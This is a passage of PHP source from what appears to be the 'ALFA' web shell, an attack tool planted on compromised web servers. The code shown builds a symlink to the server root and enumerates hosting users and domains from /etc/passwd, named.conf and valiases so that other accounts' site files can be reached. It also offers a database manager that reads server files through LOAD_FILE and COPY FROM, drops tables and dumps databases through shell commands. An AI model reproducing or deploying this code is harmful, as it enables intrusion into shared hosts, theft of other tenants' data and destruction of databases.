color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";}\n}\nif(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'symphp\'){\n$cant_symlink = true;\nif(function_exists(\'symlink\')||_alfa_can_runCommand(false,false)){\n@mkdir(\'alfasymlink\',0777);\nalfacgihtaccess(\'sym\',\'alfasymlink/\');\n_alfa_symlink(\'/\',\'alfasymlink/root\');\n$table_header = "<pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><table id=\'tbl_sympphp\' align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><span style=\'color:#FFFF01;\'><b>*</span></b></td><td><span style=\'color:#00A220;\'><b>Domains</span></b></td><td><span style=\'color:#FFFFFF;\'><b>Users</span></b></td><td><span style=\'color:#FF0000;\'><b>symlink</span></b></td>";\nif(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){\necho "<center>";\n$lines = array();\n$anony_domains = array();\n$anonymous_users = array();\n$f_black = array();\n$error = false;\n$anonymous = false;\n$makepwd = "/home/{user}/public_html/";\n$domains = alfaGetDomains();\n$lines = $domains["lines"];\n$state = $domains["state"];\n$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");\n$can_runcmd = _alfa_can_runCommand(false,false);\nif(!$is_posix && !$can_runcmd){\n    $anonymous = true;\n    $anony_domains = $domains["lines"];\n    $lines = _alfa_file(\'/etc/passwd\');\n}\necho $table_header;\n$count=1;\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="\'.__Cavdar59_DATA_FOLDER__.\'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\nforeach($lines as $line){\n    $domain = "";\n    $owner = "";\n    if($anonymous){\n        $explode = explode(":", $line);\n        $owner = $explode[0];\n        $owner_len = strlen($owner) - 1;\n        $userid = $explode[2];\n        if((int)$userid < 500)continue;\n        $domain = "[?????]";\n        $temp_black = array();\n        $finded = false;\n        foreach($anony_domains as $anony){\n            if($state == "named.conf"){\n                if(@strstr($anony, \'zone\')){\n                    preg_match_all(\'#zone "(.*)"#\',$anony, $data);\n                    $domain = $data[1][0];\n                }else{\n                    continue;\n                }\n            }elseif($state == "named" || $state == "valiases"){\n                if($anony == "." || $anony == "..")continue;\n                if($state == "named")$anony = rtrim($anony, ".db");\n                $domain = $anony;\n            }\n            $sub_domain = str_replace(array("-","."), "", $domain);\n            if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\n                if(in_array($owner.$domain, $temp_black))continue;\n                $sympath = str_replace("{user}", $owner, $makepwd);\n                $http = "http://".$domain;\n                echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\n                $count++;\n                $temp_black[] = $owner.$domain;\n                $finded = true;\n            }\n        }\n        if(!$finded){\n            $anonymous_users[] = $owner;\n        }\n    }else{\n        if($state == "named.conf"){\n            if(@strstr($line, \'zone\')){\n                preg_match_all(\'#zone "(.*)"#\',$line, $data);\n                $domain = $data[1][0];\n            }else{\n                continue;\n            }\n        }elseif($state == "named" || $state == "valiases"){\n            if($line == "." || $line == "..")continue;\n            if($state == "named")$line = rtrim($line, ".db");\n            $domain = $line;\n        }\n        if(strlen(trim($domain)) > 2 && $state != "passwd"){\n            if(!_alfa_file_exists(\'/etc/valiases/\'.$domain, false))continue;\n            if($is_posix){\n                $user = @posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain));\n                $owner = $user["name"];\n            }elseif($can_runcmd){\n                $owner = alfaEx("stat -c \'%U\' /etc/valiases/".$domain,false,false);\n            }\n        }\n    }\n    if(!$anonymous){\n        if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\n        $sympath = str_replace("{user}", $owner, $makepwd);\n        $http = "http://".$domain;\n        if($state == "passwd"){\n            $http = "javascript:alert(\'we cant find domain...\')";\n        }\n        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\n        $count++;\n        $f_black[] = $owner.$domain;\n    }\n}\nif($anonymous){\n    foreach($anonymous_users as $owner){\n        $sympath = str_replace("{user}", $owner, $makepwd);\n        $http = "javascript:alert(\'we cant find domain...\')";\n        echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);\n        $count++;\n    }\n}\n$cant_symlink = false;\n}else{\n$is_direct = false;\n$makepwd = alfaMakePwd();\nif(_alfa_file_exists("/etc/virtual/domainowners")){\n    $makepwd = "/home/{user}/public_html";\n    $is_direct = true;\n}\n$sole = _alfa_file("/etc/virtual/domainowners");\n$count=1;\necho $table_header;\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="\'.__Cavdar59_DATA_FOLDER__.\'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\nif($sole){\n    foreach($sole as $visible){\n        if(@strstr($visible,":")){\n            $solevisible = explode(\':\', $visible);\n            $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);\n            echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);\n        }\n    }\n}else{\n    $passwd = _alfa_file("/etc/passwd");\n    if($passwd){\n        $html = "";\n        $is_named = false;\n        $users = array();\n        $domains = array();\n        $uknowns = array();\n        foreach($passwd as $user){\n            $user = trim($user);\n            $expl = explode(":", $user);\n            if((int)$expl[2] < 500)continue;\n            $users[$expl[0]] = $expl[5];\n        }\n        $site_domains = @scandir("/etc/virtual/");\n        if(!$site_domains){\n            $site_domains = alfaEx("ls /etc/virtual/");\n            $site_domains = explode("\\n", $site_domains);\n            if(!$site_domains){\n                $site_domains = _alfa_file("/etc/named.conf");\n                if($site_domains){$is_named = true;}\n            }\n        }\n        foreach($site_domains as $line){\n            if($is_named){\n                if(@strstr($line, \'zone\')){\n                    preg_match_all(\'#zone "(.*)"#\',$line, $data);\n                    $domain = $data[1][0];\n                    if(strlen($domain  > 2) && !empty($domain)){\n                        $domains[] = $domain;\n                    }\n                }\n            }else{\n                $domains[] = $line;\n            }\n        }\n        $x = 1;\n        foreach($users as $user => $home){\n            foreach($domains as $domain){\n                $user_len = strlen($user) - 1;\n                $sub_domain = str_replace(array("-","."), "", $domain);\n                $five_user = substr($user, 0,$user_len);\n                $five_domain = substr($sub_domain, 0,$user_len);\n                if($five_user == $five_domain){\n                    if($is_direct){\n                        $cwd = str_replace("{user}", $user, $makepwd);\n                    }else{\n                        $expl = explode("}/", $makepwd);\n                        $cwd = $home."/".$expl[1];\n                    }\n                    $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);\n                }else{\n                    $uknowns[$user] = $home;\n                }\n            }\n        }\n        $uknowns = array_unique($uknowns);\n        foreach($uknowns as $user => $home){\n            if($is_direct){\n                $cwd = str_replace("{user}", $user, $makepwd);\n            }else{\n                $expl = explode("}/", $makepwd);\n                $cwd = $home."/".$expl[1];\n            }\n            $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);\n        }\n        echo($html);\n    }\n}\necho "</table>";\n$cant_symlink = false;\n}\n}else{\n    echo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";\n    $cant_symlink = false;\n}\nif($cant_symlink)echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>\';\necho "</center></table>";\n}\necho "</div>";\nalfafooter();\n}\nfunction alfasql(){\nclass DbClass{\npublic $type;\npublic $link;\npublic $res;\npublic $mysqli_connect_error = false;\npublic $mysqli_connect_error_msg = "";\nfunction __construct($type){\n$this->type = $type;\n}\nfunction connect($host, $user, $pass, $dbname){\nswitch($this->type){\ncase \'mysql\':\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)){\n    return true;\n}else{\n    $this->mysqli_connect_error = true;\n    $this->mysqli_connect_error_msg = mysqli_connect_error();\n    return false;\n}\nbreak;\ncase \'pgsql\':\n$host = explode(\':\', $host);\nif(!$host[1]) $host[1]=5432;\nif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\nbreak;\n}\nreturn false;\n}\nfunction selectdb($db){\nswitch($this->type){\ncase \'mysql\':\nif(@mysqli_select_db($db))return true;\nbreak;\n}\nreturn false;\n}\nfunction query($str){\nswitch($this->type){\ncase \'mysql\':\nreturn $this->res = @mysqli_query($this->link,$str);\nbreak;\ncase \'pgsql\':\nreturn $this->res = @pg_query($this->link,$str);\nbreak;\n}\nreturn false;\n}\nfunction fetch(){\n$res = func_num_args()?func_get_arg(0):$this->res;\nswitch($this->type){\ncase \'mysql\':\nreturn @mysqli_fetch_assoc($res);\nbreak;\ncase \'pgsql\':\nreturn @pg_fetch_assoc($res);\nbreak;\n}\nreturn false;\n}\nfunction listDbs(){\nswitch($this->type){\ncase \'mysql\':\nreturn $this->query("SHOW databases");\nbreak;\ncase \'pgsql\':\nreturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\nbreak;\n}\nreturn false;\n}\nfunction listTables(){\nswitch($this->type){\ncase \'mysql\':\nreturn $this->res = $this->query(\'SHOW TABLES\');\nbreak;\ncase \'pgsql\':\nreturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\nbreak;\n}\nreturn false;\n}\nfunction error(){\nswitch($this->type){\ncase \'mysql\':\nreturn @mysqli_error($this->link);\nbreak;\ncase \'pgsql\':\nreturn @pg_last_error();\nbreak;\n}\nreturn false;\n}\nfunction setCharset($str){\nswitch($this->type){\ncase \'mysql\':\nif(function_exists(\'mysql_set_charset\'))\nreturn @mysqli_set_charset($this->link,$str);\nelse\n$this->query(\'SET CHARSET \'.$str);\nbreak;\ncase \'pgsql\':\nreturn @pg_set_client_encoding($this->link, $str);\nbreak;\n}\nreturn false;\n}\nfunction loadFile($str){\nswitch($this->type){\ncase \'mysql\':\nreturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\nbreak;\ncase \'pgsql\':\n$this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM \'".addslashes($str)."\';select file from solevisible;");\n$r=array();\nwhile($i=$this->fetch())\n$r[] = $i[\'file\'];\n$this->query(\'drop table solevisible\');\nreturn array(\'file\'=>implode("\\n",$r));\nbreak;\n}\nreturn false;\n}\n};\n$db = new DbClass($_POST[\'type\']);\nalfahead();\n$form_visibility = "table";\nif(isset($_POST[\'sql_host\'])){\n    $connection_db = $db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\n    if($connection_db && !empty($_POST[\'sql_base\'])){\n        $form_visibility = "none";\n    }\n}\n$database_list = array();\necho "\n<div class=\'header\' style=\'min-height:300px;\'>".($form_visibility!="none"?"<center><div class=\'txtfont_header\'>| Sql Manager |</div><p>".getConfigHtml(\'all\')."</p></center><div style=\'text-align:center;margin-bottom: 10px;\'><button class=\'connection-his-btn db-opt-id\' onclick=\'alfaShowConnectionHistory(this);\' mode=\'on\'>Connection History</button><div class=\'connection_history_holder\'></div></div>":"")."\n<div class=\'sf\' class=\'db-opt-id\'><table style=\'margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."\' cellpadding=\'2\' cellspacing=\'0\'><tr>\n<td><div class=\\"txtfont\\">TYPE</div></td><td><div class=\\"txtfont\\">HOST</div></td><td><div class=\\"txtfont\\">DB USER</div></td><td><div class=\\"txtfont\\">DB PASS</div></td><td><div class=\\"txtfont\\">DB NAME</div></td><td></td></tr><tr>\n<td><select name=\'type\'><option value=\'mysql\' selected>mysql</option></select></td>\n<td><input type=\'text\' name=\'sql_host\' id=\'db_host\' value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>\n<td><input type=\'text\' name=\'sql_login\' id=\'db_user\' value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>\n<td><input type=\'text\' name=\'sql_pass\' id=\'db_pw\' value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";\n$tmp = "<input type=\'text\' name=\'sql_base\' id=\'db_name\' value=\'". (empty($_POST[\'sql_base\'])?\'\':htmlspecialchars($_POST[\'sql_base\'])) ."\'>";\nif(isset($_POST[\'sql_host\'])){\nif($connection_db){\n$db->setCharset(\'utf8\');\n$db->listDbs();\necho "<select name=sql_base><option value=\'\'></option>";\nwhile($item = $db->fetch()) {\nlist($key, $value) = each($item);\n$database_list[] = $value;\necho \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\n}\necho \'</select>\';\n}else{\n    echo $tmp;\n}\n}else\necho $tmp;\n$curr_mysql_id = $_POST[\'current_mysql_id\'];\necho "</td>\n<td><button onclick=\'fs(this);return false;\' class=\'db-opt-id db-connect-btn\'>Connect</button></td>\n<td><input type=\'checkbox\' name=\'sql_count\' value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <div class=\\"txtfont\\">count the number of rows</div></td>\n</tr>\n</table>";\nif($db->mysqli_connect_error){\n    echo \'<div style="text-align: center;font-size: 17px;margin-top: 18px;">\'.$db->mysqli_connect_error_msg.\'</div>\';\n}\nif(!empty($curr_mysql_id)){\n    $sql_title_db = "";\n    if(!empty($_POST[\'sql_base\'])){\n        $sql_title_db = "d.querySelector(\'#tab_".$curr_mysql_id." span\').innerHTML=\'".addslashes($_POST[\'sql_base\'])."\';";\n    }\n    echo "<script>mysql_cache[\'".$curr_mysql_id."\'][\'host\']=\'".addslashes($_POST[\'sql_host\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'user\']=\'".addslashes($_POST[\'sql_login\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'pass\']=\'".addslashes($_POST[\'sql_pass\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'db\']=\'".addslashes($_POST[\'sql_base\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'charset\']=\'".addslashes($_POST[\'charset\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'type\']=\'".addslashes($_POST[\'type\'])."\';mysql_cache[\'".$curr_mysql_id."\'][\'count\']=\'".addslashes($_POST[\'sql_count\'])."\';".$sql_title_db."alfaConnectionHistoryUpdate();</script>";\n}\nif(isset($db) && $db->link){\nif(!empty($_POST[\'sql_base\'])){\necho "<div class=\'mysql-main\'><div mode=\'block\' onclick=\'alfaMysqlTablePanelCtl(this);\' class=\'tables-panel-ctl db-opt-id\'>&#x3C;&#x3C;</div><div class=\'mysql-tables\'><div><input placeholder=\\"Filter Table\\" style=\'padding: 0;margin-left: 11px;text-align:center;\' type=\'text\' name=\'filter_all\'><button class=\'db-opt-id\' onclick=\'alfaMysqlFilterAllTable(this);return false;\'>Search</button></div><div class=\'block\'><a sql_count=\'".(empty($_POST[\'sql_count\'])?"false":"true")."\' mode=\'closed\' onclick=\'alfaMysqlFilterAllTable(this,true);\' class=\'expander parent-expander db-opt-id\' href=\'javascript:void(0);\'><img src=\'http://solevisible.com/icons/menu/b_plus.png\' title=\'Expand/Collapse All DataBases\' alt=\'Expand/Collapse All DataBases\'></a></div><ul style=\'margin-top: 28px;\'>";\nforeach ($database_list as $db_name) {\n    echo \'<li><div class="block"><i></i><b></b><a sql_count="\'.(empty($_POST[\'sql_count\'])?"false":"true").\'" db_target="\'.$db_name.\'" onclick="alfaMysqlExpander(this);" class="expander cls-\'.$db_name.\'-expander db-opt-id" href="javascript:void(0);"><img src="http://solevisible.com/icons/menu/\'.($db_name == $_POST[\'sql_base\']?"b_minus.png":"b_plus.png").\'" title="Expand/Collapse" alt="Expand/Collapse"></a></div><span class="db_name">\'.$db_name.\'</span><div class="clearfloat"></div><div db_name="\'.$db_name.\'" mode="\'.($db_name == $_POST[\'sql_base\']?"loaded":"no").\'" class="list_container cls-\'.$db_name.\'"><div>\';\n    if($db_name == $_POST[\'sql_base\']){\n        $db->selectdb($_POST[\'sql_base\']);\n        $tbls_res = $db->listTables();\n        echo \'<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" target=".cls-\'.$db_name.\'" placeholder="Filter Table" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>\';\n        while($item = $db->fetch($tbls_res)){\n        list($key, $value) = each($item);\n        if(!empty($_POST[\'sql_count\']))\n        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM `\'.$value.\'`\'));\n        $value = htmlspecialchars($value);\n        echo "<li><div class=\'block\'><i></i><b></b></div><div class=\'tables-row\'><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a class=\'db-opt-id\' db_target=\'".$db_name."\' href=\'javascript:void(0);\' onclick=\\"alfaLoadTableData(this,\'".$value."\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>".$value."</span></a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>({$n[\'n\']})</span></small>") . "</div></li>";\n        }\n        echo \'</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" target=".cls-\'.$db_name.\'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" class="db-opt-id" db_target="\'.$db_name.\'" target=".cls-\'.$db_name.\'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>\';\n    }\n    echo "</div></li>";\n}\necho "</ul></div><div class=\'mysql-query-results\'><div class=\'mysql-query-result-tabs\'><div class=\'db-opt-id mysql-query-selected-tab\' target=\'.mysql-query-result-content\' onclick=\'alfaMysqlTabCtl(this);\'>Result</div><div class=\'db-opt-id\' target=\'.mysql-query-form\' onclick=\'alfaMysqlTabCtl(this);\'>Query</div><div class=\'db-opt-id\' target=\'.mysql-search-area\' onclick=\'alfaMysqlTabCtl(this);\'>Search</div><div class=\'db-opt-id\' target=\'.mysql-structure\' onclick=\'alfaMysqlTabCtl(this);\'>Structure</div><div class=\'db-opt-id\' target=\'.mysql-insert-row\' onclick=\'alfaMysqlTabCtl(this);\'>Insert</div><div style=\'display:none;\' class=\'db-opt-id\' target=\'.mysql-edit-row\' onclick=\'alfaMysqlTabCtl(this);\'>Edit</div></div><div class=\'mysql-query-content mysql-insert-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-edit-row mysql-hide-content\'></div><div class=\'mysql-query-content mysql-search-area mysql-hide-content\'></div><div class=\'mysql-query-content mysql-structure mysql-hide-content\'></div><div class=\'mysql-query-content mysql-query-form mysql-hide-content\'><div style=\'margin-bottom: 5px;\'><span>Query:</span></div><textarea name=\'query\' style=\'width:90%;height:100px\'></textarea><p><div style=\'float:left;margin-left: 30px;\'><input class=\'button db-opt-id\' db_target=\'".$_POST[\'sql_base\']."\' onclick=\'alfaMysqlQuery(this);return false;\' type=\'submit\' value=\' \'></div></p></div><div class=\'mysql-query-content mysql-query-result-content\'><div class=\'mysql-query-result-header\'><div style=\'margin-bottom: 10px;\' class=\'mysql-query-reporter\'></div><div class=\'mysql-query-pager\'></div></div><div class=\'mysql-query-table\'></div></div></form></td></tr>";\n}\necho "</table></div>";\necho "</div>";\n}else{\necho htmlspecialchars($db->error());\n}\necho \'</div>\';\nalfafooter();\n}\nfunction alfaSql_manager_api(){\n    $db = $_POST["alfa1"];\n    $type = $_POST["alfa2"];\n    $sql_count = $_POST["alfa3"] == "true" ? true : false;\n    $db = @json_decode($db, true);\n    $conn = @mysqli_connect($db["host"], $db["user"], $db["pass"], $db["db"]);\n    @mysqli_set_charset($conn, "utf8");\n    if($conn){\n        if($type == "load_all_tables"){\n            $tables = array();\n            $q_tables = @mysqli_query($conn, "SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN (\'".implode("\',\'", $db["databases"])."\');");\n            $count = 0;\n            while($row = @mysqli_fetch_assoc($q_tables)){\n                if($sql_count){\n                    $count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row["table_schema"].\'`.`\'.$row["table_name"].\'`\');\n                    if($count_q){\n                        $count = @mysqli_fetch_row($count_q);\n                        $count = $count[0];\n                    }\n                }\n                $tables[$row["table_schema"]][] = array("name" => $row["table_name"], "count" => (int)$count);\n            }\n            foreach($db["databases"] as $db){\n                if(!isset($tables[$db])){\n                    $tables[$db] = null;\n                }\n            }\n            echo @json_encode($tables);\n        }elseif($type == "dump_drop"){\n            if($db["mode"] == "drop"){\n                foreach ($db["tables"] as $table) {\n                    @mysqli_query($conn, "DROP TABLE `".$table."`;");\n                }\n                $tables = array();\n                $q_tables = @mysqli_query($conn, "SHOW TABLES;");\n                $count = 0;\n                while($row = @mysqli_fetch_array($q_tables)){\n                    if($sql_count){\n                        $count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\n                        if($count_q){\n                            $count = @mysqli_fetch_row($count_q);\n                            $count = $count[0];\n                        }\n                    }\n                    $tables[] = array("name" => $row[0], "count" => (int)$count);\n                }\n                echo @json_encode($tables);\n            }else{\n                if(strlen(alfaEx("mysqldump"))>0){\n                    alfaEx("mysqldump --single-transaction --host=\\"".$db["host"]."\\" --user=\\"".$db["user"]."\\" --password=\\"".$db["pass"]."\\" ".$db["db"]." ".implode(" ", $db["tables"])."  > ".$db["dump_file"]);\n                }else{\n                    $fp = @fopen($db["dump_file"], "w");\n                    foreach ($db["tables"] as $table) {\n                        $res = @mysqli_query($conn, \'SHOW CREATE TABLE `\'.$table.\'`\');\n                        $create = @mysqli_fetch_array($res);\n                        $sql = "DROP TABLE IF EXISTS `".$table."`;\\n" . $create[1].";\\n";\n                        if($fp) fwrite($fp, $sql); else echo($sql);\n                        $tbl_data = @mysqli_query($conn, \'SELECT * FROM `\'.$table.\'`\');\n                        $head = true;\n                        while($item = @mysqli_fetch_assoc($tbl_data)){\n                            $columns = array();\n                            foreach($item as $k=>$v) {\n                            if($v == null)\n                            $item[$k] = "\'\'";\n                            elseif(is_numeric($v))\n                            $item[$k] = $v;\n                            else\n                            $item[$k] = "\'".@mysqli_real_escape_string($conn, $v)."\'";\n                            $columns[] = "`".$k."`";\n                            }\n                            if($head) {\n                            $sql = \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $item).\')\';\n                            $head = false;\n                            } else\n                            $sql = "\\n\\t,(".implode(", ", $item).\')\';\n                            if($fp) fwrite($fp, $sql); else echo($sql);\n                        }\n                        if(!$head)\n                            if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\n                    }\n                }\n                echo @json_encode(array("status" => true, "file" => $db["dump_file"]));\n            }\n        }elseif($type == "load_tables"){\n            $tables = array();\n            $q_tables = @mysqli_query($conn, "SHOW TABLES;");\n            $count = 0;\n            while($row = @mysqli_fetch_array($q_tables)){\n                if($sql_count){\n                    $count_q = @mysqli_query($conn, \'SELECT COUNT(*) FROM `\'.$row[0].\'`\');\n                    if($count_q){\n                        $count = @mysqli_fetch_row($count_q);\n                        $count = $count[0];\n                    }\n                }\n                $tables[] = array("name" => $row[0], "count" => (int)$count);\n            }\n            echo @json_encode($tables);\n        }elseif($type == "alter"){\n            $db["alter"]["type"] = strtolower($db["alter"]["type"]);\n            $inputs = $db["alter"]["type"]."(".$db["alter"]["input"].")";\n            $text_input = array("longtext", "text", "mediumtext", "tinytext");\n            if(in_array($db["alter"]["type"], $text_input)){\n                $inputs = $db["alter"]["type"];\n            }\n            @mysqli_query($conn, "ALTER TABLE `".$db["table"]."` MODIFY COLUMN `".$db["column"]."` " . $inputs);\n            $error = @mysqli_error($conn);\n            if($error){\n                echo $error;\n            }else{\n                echo "ok";\n            }\n        }elseif($type == "edit" || $type == "delete" || $type == "delete_all"){\n            if($type == "edit"){\n                $q = @mysqli_query($conn, "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` = \'".addslashes($db["key"])."\' LIMIT 0,1");\n                $row = @mysqli_fetch_assoc($q);\n                if($row){\n                    $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\n                    $columns = array();\n                    $edit_data = array();\n                    while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\n                        $input = array("col_type" => $row2["COLUMN_TYPE"]);\n                        $row2["type"] = strtolower($row2["type"]);\n                        switch($row2["type"]){\n                            case "longtext": case "text": case "mediumtext": case "tinytext":\n                                $input["tag"] = "textarea";\n                            break;\n                            case "int": case "smallint": case "bigint": case "tinyint": case "mediumint":\n                                $input["tag"] = "input";\n                                $input["type"] = "number";\n                            break;\n                            default:\n                                $input["tag"] = "input";\n                                $input["type"] = "text";\n                        }\n                        $columns[$row2["name"]] = $input;\n                    }\n                    foreach($row as $key => $v){\n                        $edit_data[] = array("col" => $key, "value" => htmlspecialchars($v, ENT_QUOTES, \'UTF-8\'), "type" => $columns[$key]);\n                    }\n                    echo @json_encode($edit_data);\n                }\n            }else{\n                if($type == "delete_all"){\n                    $rows = implode("\', \'", $db["rows"]);\n                }else{\n                    $rows = addslashes($db["key"]);\n                }\n                $query = "DELETE FROM `".$db["db"]."`.`".$db["table"]."` WHERE `".$db["col_key"]."` IN (\'".$rows."\')";\n                @mysqli_query($conn, $query);\n                $error = @mysqli_error($conn);\n                if($error){\n                    $status = false;\n                }else{\n                    $status = true;\n                }\n                echo @json_encode(array("status" => $status, "error" => $error, "query" => $query));\n            }\n        }elseif($type == "update"){\n            $query = "UPDATE `".$db["db"]."`.`".$db["table"]."` SET ";\n            foreach($db["data"] as $col => $val){\n                $query .= "`".$col."` = \'".mysqli_real_escape_string($conn, $val)."\',";\n            }\n            $query = substr($query, 0, -1);\n            $query .= "WHERE `".$db["col_key"]."` = \'".$db["key"]."\'";\n            $res = @mysqli_query($conn, $query);\n            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\n        }elseif($type == "insert"){\n            $query = "INSERT INTO `".$db["db"]."`.`".$db["table"]."` ";\n            foreach($db["data"] as $col => $val){\n                $cols .= $col . ",";\n                $vals .= "\'".mysqli_real_escape_string($conn, $val)."\',";\n            }\n            $cols = substr($cols, 0, -1);\n            $vals = substr($vals, 0, -1);\n            $query = $query . "(" . $cols . ")" . "VALUES(" . $vals . ")";\n            $res = @mysqli_query($conn, $query);\n            echo @json_encode(array("status" => $res, "error" => @mysqli_error($conn)));\n        }else{\n            $pages = 0;\n            $title = false;\n            $query = "";\n            $tbl_content = \'<table width="100%" cellspacing="1" cellpadding="2" class="main mysql-data-tbl" style="background-color:#292929">\';\n            $line = 0;\n            $tables = array();\n            $columns = array();\n            if($type == "load_data"){\n                $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT 0,30";\n                $tbl_count_q = @mysqli_query($conn, "SELECT COUNT(*) FROM `".$db["db"]."`.`".$db["table"]."`");\n                $tbl_count = @mysqli_fetch_row($tbl_count_q);\n                $columns_query = @mysqli_query($conn, "SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = \'".$db["db"]."\' AND `TABLE_NAME` = \'".$db["table"]."\'");\n                while($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\n                    $columns[] = $row2;\n                }\n                if($tbl_count[0] > 30){\n                    $pages = ceil($tbl_count[0] / 30);\n                }\n            }elseif($type == "query"){\n                $query = $db["query"];\n            }elseif($type == "page"){\n                $db["page"] = (int)$db["page"] - 1;\n                $query = "SELECT * FROM `".$db["db"]."`.`".$db["table"]."` LIMIT ".($db["page"]*30).",30";\n            }elseif($type == "search"){\n                $search = "";\n                $search_noval = array("= \'\'", "!= \'\'", "IS NULL", "IS NOT NULL");\n                foreach($db["search"] as $col => $val){\n                    $search_noval_r = in_array($val["opt"], $search_noval);\n                    if(empty($val["value"]) && !$search_noval_r)continue;\n                    if(strstr($val["opt"], "...") || $search_noval_r){\n                        $val["opt"] = str_replace("...", $val["value"], $val["opt"]);\n                        $search .= $col . " " . $val["opt"] . " AND ";\n                    }else{\n                        $search .= $col . " " . $val["opt"] . " \'".addslashes($val["value"])."\' AND ";\n                    